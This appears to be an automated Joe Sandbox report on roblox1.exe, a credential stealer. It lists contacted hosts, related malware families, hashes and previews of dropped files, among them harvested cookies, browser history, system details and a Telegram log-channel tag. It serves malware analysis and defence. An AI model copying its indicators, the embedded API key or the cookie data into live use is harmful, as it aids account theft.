https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	false		high
http://crl.securetrust.com/SGCA.crl0	stub.exe, 00000003.00000002.1943984108.00000213BE1BF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937231343.00000213BE1BF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/STCA.crl0	stub.exe, 00000003.00000002.1943984108.00000213BE1BF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937231343.00000213BE1BF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.spotify.com/api/account-settings/v1/profile	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940431612.00000213BE4FA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1945192279.00000213BE4FC000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1552093383.00000213BE4C3000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
135.181.65.219	restores.name	Germany		24940	HETZNER-ASDE	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577530
Start date and time:	2024-12-18 15:07:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	63
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	roblox1.exe
Detection:	MAL
Classification:	mal100.spre.phis.troj.spyw.evad.winEXE@110/57@2/3
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 23.218.208.109, 13.107.246.63
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 2752 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 4424 because it is empty
Execution Graph export aborted for target roblox1.exe, PID 1364 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: roblox1.exe

Simulations

Behavior and APIs

Time	Type	Description
09:08:27	API Interceptor	5x Sleep call for process: WMIC.exe modified
09:08:54	API Interceptor	16x Sleep call for process: powershell.exe modified
09:08:58	API Interceptor	8x Sleep call for process: stub.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	roblox.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	ip-api.com/json
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	ip-api.com/json
	x.ps1	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	ip-api.com/json/
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	ip-api.com/json/
	Shipping Bill6239999 dated 13122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	ip-api.com/json/
	Creal.exe	Get hash	malicious	Blackshades	Browse	ip-api.com/json/
	factura 000601.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	Orden de compra_#000000090764534236475890765432567890765768978687569867970875766868.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	msedge.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
135.181.65.219	roblox.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse
	SecuriteInfo.com.Win64.Malware-gen.19901.26035.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	roblox.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	208.95.112.1
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	208.95.112.1
	x.ps1	Get hash	malicious	Quasar	Browse	208.95.112.1
	https://funcilnewshical.com/76e41238-e8a4-483e-8f1d-ad83b34d4805?batchid=Douglasgrimes-Testsetup&carrier=carrier&textid=textid&brand=register.douglasgrimes.com&source=source&messageId=messageId&name=Lisa&phone=phone&step=step&domain=domain&cost=cost	Get hash	malicious	Unknown	Browse	208.95.112.2
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Shipping Bill6239999 dated 13122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Creal.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	factura 000601.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	Orden de compra_#000000090764534236475890765432567890765768978687569867970875766868.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
restores.name	roblox.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	135.181.65.219
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	135.181.65.219
	SecuriteInfo.com.Win64.Malware-gen.19901.26035.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	135.181.65.219
	SecuriteInfo.com.Win64.Evo-gen.11830.19095.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	89.248.174.171
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	89.248.174.171
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	89.248.174.171
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	65.0.21.192
	KfxEYxBsJm.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	65.0.21.192
	SecuriteInfo.com.Python.Stealer.1548.11147.30861.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	65.0.21.192
	SecuriteInfo.com.Win64.Evo-gen.16643.7451.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	65.0.21.192

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	roblox.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	135.181.65.219
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	195.201.143.203
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	135.181.65.219
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	116.202.93.69
	3.elf	Get hash	malicious	Unknown	Browse	136.243.79.47
	5.msi	Get hash	malicious	DanaBot, Nitol	Browse	148.251.107.246
	Setup.msi	Get hash	malicious	Vidar	Browse	116.203.12.114
	https://6movies.stream/series/cobra-kai-80711/6-4/	Get hash	malicious	Unknown	Browse	136.243.81.150
	uEhN67huiV.dll	Get hash	malicious	Unknown	Browse	116.202.150.27
	JkICQ13OOY.dll	Get hash	malicious	Unknown	Browse	5.9.121.207
TUT-ASUS	roblox.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	208.95.112.1
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	208.95.112.1
	x.ps1	Get hash	malicious	Quasar	Browse	208.95.112.1
	https://funcilnewshical.com/76e41238-e8a4-483e-8f1d-ad83b34d4805?batchid=Douglasgrimes-Testsetup&carrier=carrier&textid=textid&brand=register.douglasgrimes.com&source=source&messageId=messageId&name=Lisa&phone=phone&step=step&domain=domain&cost=cost	Get hash	malicious	Unknown	Browse	208.95.112.2
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Shipping Bill6239999 dated 13122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Creal.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	factura 000601.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	Orden de compra_#000000090764534236475890765432567890765768978687569867970875766868.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\_asyncio.pyd	roblox.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse
	end.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, PureLog Stealer, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.Malware-gen.19901.26035.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse
	SecuriteInfo.com.Trojan.PWS.Stealer.39881.9434.15338.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Python Stealer, Amadey, Cryptbot, Monster Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	11168256
Entropy (8bit):	7.997435059161403
Encrypted:	true
SSDEEP:	196608:1a4vbUQYRyS/Kh44vTM1NExeka13ZlfNf5PWwShXBFPHIG1MZBwYFCnvkC2:7vDX0gZvT2U/S3ZllEhxFPIG1rYFC8C
MD5:	CD463D16CF57C3A9F5C9588A878A7213
SHA1:	EF22C2B11EFC0BC6A739B82F9A26EDAEE9348B8F
SHA-256:	49F4789274E5C0DCD4D2CC1B850761353BF8B72E819D12DF5C376FD665DA1283
SHA-512:	5B20CE36B15F5D002D183850032067B11F811544BAC19E0A76340DF47294D0B059FA8DC43FEDD8480D6F72EB8357D01924DBE9CBEBDAAC1625C5F4F498392822
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Jg...............+.....f...>..%..........@............................. ......VP....`... ..........................................................S... ..............................................`...(...................h................................text...(...........................`..`.data...............................@....rdata...*.......,..................@..@.eh_fram............................@....pdata....... ......................@..@.xdata..p....0......................@..@.bss.....<...@...........................idata..............................@....CRT....`...........................@....tls................................@....rsrc....S.......T..................@..@.reloc...............h..............@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\2axqsebb

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:qn:qn
MD5:	3F1D1D8D87177D3D8D897D7E421F84D6
SHA1:	DD082D742A5CB751290F1DB2BD519C286AA86D95
SHA-256:	F02285FB90ED8C81531FE78CF4E2ABB68A62BE73EE7D317623E2C3E3AEFDFFF2
SHA-512:	2AE2B3936F31756332CA7A4B877D18F3FCC50E41E9472B5CD45A70BEA82E29A0FA956EE6A9EE0E02F23D9DB56B41D19CB51D88AAC06E9C923A820A21023752A9
Malicious:	false
Preview:	blat

C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	536301
Entropy (8bit):	7.997837908882131
Encrypted:	true
SSDEEP:	12288:Olc4PP8RcgTBuiKPpHldqu0Z+1/1DDRZJwkl7gFsoUQO7jGmGhdE:B438OgVTKPpFdqu02dwkTgmGhdE
MD5:	3E0D86D10DA4724DAA5D97CDD23FCD38
SHA1:	7CDEE77D010E9BEBF1DA0D2F42FDFA67E29A374D
SHA-256:	7D16FA4123FBBD78B85DE1B160212C10842F17D4CF37D19C942796732E46FE3B
SHA-512:	39160F0D2D97EF46E6C9195EC5CE7EAE3DD6E256C199EF942EE964409E6E00898F2A3ED338E842408B74387A6F3ED4B82169542200A61286D65DB9E677FC6ADE
Malicious:	false
Preview:	PK........ I.Y................Browsers/PK.........I.Y................Wallets/PK........ I.Y................network_info.txt.....0.E.@..}.m..R...p."T.'....M"...[......s.l...=....8..T..v...pM....._...e^.e^T+.....!L......;.j..^....k4>....=...@...?vd.O3.ZA.H.,..M.....PK........ I.Y{.....Ia......process_info.txt.\.n.7....?..8..0@....F..T..N.hK.H#.l.__...y.....yg=.y..\r^...V].k_.z.n.....z.\|.x_..m.+/O^\|..u......f~.'..7..d2.~n;..\,+?.l.o...7.7....ixc]o.~o..u...o\|...G..... .....tB.>.R../.8....n....8'.<[2mT...... ....4q.E....(.L.DAl.n...]...vj.7.>{v...Y.m..?..:+.....QT.....3..i.U^QX...`....9!a..p.K.....v...1Y..Uh.)._..n......b%......H2M..>I......8..{`.U@i..J..M.1"...r..Oi..X..T.e..=E..b..YM.^..!...$.P...fE.,/...%.~....h.&-Jp.....4\0.:.tB0.Rc%.I.`e. ..^XU..Q..!+..9i...b....#\|.n>.l..5_~.!..3g6......L..QXU.Yh..p-j.N%.rH.n..a..2.d..?..LJ.%....IQ`.d<....V....6...r].&d..s.9...w!...)..(...t......,>.....8BH.uC..S.Yb.-.R).Uhw.S......e%.......%)Wc.

C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers\Cookies.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	437
Entropy (8bit):	5.326754838889865
Encrypted:	false
SSDEEP:	6:LgeQ1i23rsrzxbiEv3r4ZmIrBNuYraqWTfqgqlB1Hwsv7OjPy:Lge527AzkEv745BNuMWfqnym7O7y
MD5:	2D552CCDC77C802D3ED668D0FB9CAA6F
SHA1:	F6F61F6F2A6AE00F8C005D860EC48558F154FBF5
SHA-256:	FD7FDCF37BCDD14D10CB56433E8318B13BDDCBF0AC40013DC25D188A15656B45
SHA-512:	A220FE8C00C0B5D3B393C3FD75FEAE899F2E16CBE8B8CCB831FD7160524399C4794FBA0EB4F2DFDB2780E34ED851F23B15B8DB58B28C0BF61A273F85283F14D3
Malicious:	true
Preview:	----------------------https://t.me/TaroCloudFreelogs----------------------..======================================================================...google.com.TRUE./.FALSE.13343559538131870.1P_JAR.2023-10-05-08...google.com.TRUE./.FALSE.13356778738131921.NID.511=orcSInoZBb6Srw0PdPMNeLGKsegfLi-tQnviho5hKJXKDNg0kXIPnfTcuwV5r7RqjT893pWGJF7klKqldBoj4rDJvxfFlgDOCcW9aKDnU9zIlUh2LP0vO8k3uT0gHJD1JvVAclkJnKwZG6hDAl62HrMxNrUeqSR-WF1J-l9YYgE..

C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\Browsers\Firefox\History.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1017
Entropy (8bit):	5.025401594516921
Encrypted:	false
SSDEEP:	24:L7wrxsM0T/CrxsaQT/iWifT/QiRJT/TiCQERoT/Wier1En:L708mVcexFMwkcREn
MD5:	EB94A57BCE07B7CFD5571378819F7345
SHA1:	6F391CFB6E4DE8BA2AE6D1E8B1F2125AA8883038
SHA-256:	2646EAC7747EDE706599059C12D913E021E7626E0824B59D680E78AA7139B5D2
SHA-512:	D6961B6C5112F16FAF405C756AC8F14CEA52BFF655B28CBDD16F7A0358EF3419E67A859A21515B26750446BDF2169CFABFB960F312DC0DC66AFA403CECC3CD54
Malicious:	true
Preview:	----------------------https://t.me/TaroCloudFreelogs----------------------..======================================================================..ID: 1 \| URL: https://support.mozilla.org/products/firefox \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 2 \| URL: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-browser&utm_medium=default-bookmarks&utm_campaign=customize \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 3 \| URL: https://www.mozilla.org/contribute/ \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 4 \| URL: https://www.mozilla.org/about/ \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 5 \| URL: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaign=new-users&utm_content=-global \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 6 \| URL: https://www.mozilla.org/privacy/firefox/ \| Title: None \| Visit Count: 1 \| Last Visit Time: 1

C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\network_info.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	271
Entropy (8bit):	4.338300482640769
Encrypted:	false
SSDEEP:	3:111T8N9EQVjKrIC49MHUXMERwLM7N3U2bX5A3EwAyEY5HLWLASPVXqI:LgeQ1ip0X3RwwN3UuJA01K5CLpqI
MD5:	ED34788824AB4BBC7FD19B2E8DA67ECB
SHA1:	6A09A5A851A990058795092B42F07216E242B388
SHA-256:	961DBE546270EF81076A7428872B2DBC138D21A29586BF36FCDFFAB55278F821
SHA-512:	BA06CCDD803DDE470627FCBE3AC4D0E8EEDFE8B2F32676B0159DF9A9C6863A560C121E71A33FFD6C5262BC3DD776D4D13EB1C8B999A95404160083876B82041E
Malicious:	true
Preview:	----------------------https://t.me/TaroCloudFreelogs----------------------..======================================================================..8.46.123.189..United States..New York..America/New_York..Level 3 CenturyLink Communications, LLC AS3356 Level 3 Parent, LLC

C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\process_info.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	24905
Entropy (8bit):	4.718806775318882
Encrypted:	false
SSDEEP:	384:JKDxgUteG6DVBkJnhAGwGlt2FHxDxoAcUPINFKPy2k1v9MHyyITGjfpQ/KlKRCGA:FsJ/Sve+
MD5:	C0B52B311900457F2A120D25D682373E
SHA1:	6F0BC33422294BFD76FEF460B508C030FE71A9FD
SHA-256:	2213627AC92E25BC1C13B2E04A7498B08542036598418F29019A88B5D168BA2D
SHA-512:	0FCA949CE34C344B145F6E6041D0B0A60EF33A50040181A59F3C8A1786A0999FAA70E87CE525C67BFE78C1BA88590941BB0CEC9FC9F559FE6EB1979505765ED2
Malicious:	true
Preview:	----------------------https://t.me/TaroCloudFreelogs----------------------..======================================================================.....Image Name: System Idle Process...PID: 0...Session Name: Services...Session#: 0...Mem Usage: 8 K......Image Name: System...PID: 4...Session Name: Services...Session#: 0...Mem Usage: 180 K......Image Name: Registry...PID: 92...Session Name: Services...Session#: 0...Mem Usage: 78'564 K......Image Name: smss.exe...PID: 324...Session Name: Services...Session#: 0...Mem Usage: 1'236 K......Image Name: csrss.exe...PID: 408...Session Name: Services...Session#: 0...Mem Usage: 5'204 K......Image Name: wininit.exe...PID: 484...Session Name: Services...Session#: 0...Mem Usage: 7'160 K......Image Name: csrss.exe...PID: 492...Session Name: Console...Session#: 1...Mem Usage: 5'972 K......Image Name: winlogon.exe...PID:

C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\screenshot.png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	546672
Entropy (8bit):	7.942073518878461
Encrypted:	false
SSDEEP:	12288:RTe1RCLr/EwqjfZls5tabuQBaCyVkKNa4MyJaB:RGirhqTHaQBI1NVgB
MD5:	E5EDA853E64D1F5833AAB6A0EAEC451D
SHA1:	DA7EA2597E95205D9A8798A4EA22CB71F4E65007
SHA-256:	8AA006C0B0DE65E654E43A6985E64C3A517A04138DA9FBDC3C80F4D64EA9B9A7
SHA-512:	AAD5C44A5DB512DA192A458685922BBC181A277A629538EC037DB4C33FE8B882F6668C830947271ECEC4700F74EC84E97FC3F801D480C002FE58695916643362
Malicious:	false
Preview:	.PNG........IHDR.......8........C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..w.e........j..y......Y..L.....[.~.n.+LQ.g........%!..{Sxo.0....o..2x.7B...'........<.2..2~k}:"~..'O.j...Ir.'nh....6....[Q..{...7.....g.l7.u.\...0..F.......s.%;bOKvM............o..W...w.Evy9.e.\|>\.....".X...".o.......$;.Fz.[....5.o.E...'=.:. I......zm.r.CJ..W:"+..`.I...N...\v..~..oiIv.... =...TN.\';...9.."....m...}..}.%......8..TJ..u. =..:.cZS=....fG?..Q.dG>..\|.F..g. W=.@.Fc.cH.x...X.q...T..z.N..a.-.O...]..r.C..G.'........}@...].N0f....\r...]7.....kM..+..~..=]...r.k.....4..\_.8.I.}......r...}..?...:h].u...u..k......?w...g.K.^.V.>....g.9....]..w#\|M.o...:.n.\|?..".1..}.Y+Cks...m..P.k......2...\.H{W.s#.[.z.....................?...w.Kg,........m2}I...ke.:.?.c..c.........].Z......O.{N_.`..50...y......%~L........:r....d..IK\6qq.wO...C....>o..C......b-m...f......V..D_7~..L...}r.....FL....z...\:na.K...9..y<.9=O{t.......s....5..G.}h...g1..L.

C:\Users\user\AppData\Local\Temp\9AC52742-8547-84D6-5349-ECEC87A66D67\system_info.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	Algol 68 source, ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	142599
Entropy (8bit):	4.363440534336225
Encrypted:	false
SSDEEP:	1536:IdUX+DlXP3yliETe+9THzgbnGYqTd47N1bTtd+hw45VJhj8n0WFD8FlZlP3gjQYq:IdrFkb
MD5:	FAF536F1EFAEB0C24F68C2467CBD8B05
SHA1:	8E0F38864D311F8809F4C730D015AF1F411EEB28
SHA-256:	5B87BF05D6BB8C590A4F04394EA6C80AB656F09D18A84BD55647A698508089DB
SHA-512:	9640ABE50F534BA73D10203EA18600DA2214C247E45A5B1AC2FCF9D946B94B3A944E65A464D165134F12D766B8974D6749EE4BE2953D79B9054012D274D39423
Malicious:	true
Preview:	----------------------https://t.me/TaroCloudFreelogs----------------------..======================================================================..####System Info#### ......Host Name: user-PC...OS Name: Microsoft Windows 10 Pro...OS Version: 10.0.19045 N/A Build 19045...OS Manufacturer: Microsoft Corporation...OS Configuration: Standalone Workstation...OS Build Type: Multiprocessor Free...Registered Owner: hardz...Registered Organization: ...Product ID: 00330-71431-70569-AAOEM...Original Install Date: 03/10/2023, 10:57:18...System Boot Time: 25/09/2023, 10:34:23...System Manufacturer: H2hEcmn5xdEAHT6...System Model: xRpxRRt9...System Type: x64-based PC...Processor(s): 2 Processor(s) Installed.... [01]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz... [02]

C:\Users\user\AppData\Local\Temp\AutofillData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
SHA1:	603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
SHA-256:	67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
SHA-512:	28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cookies.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DownloadData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
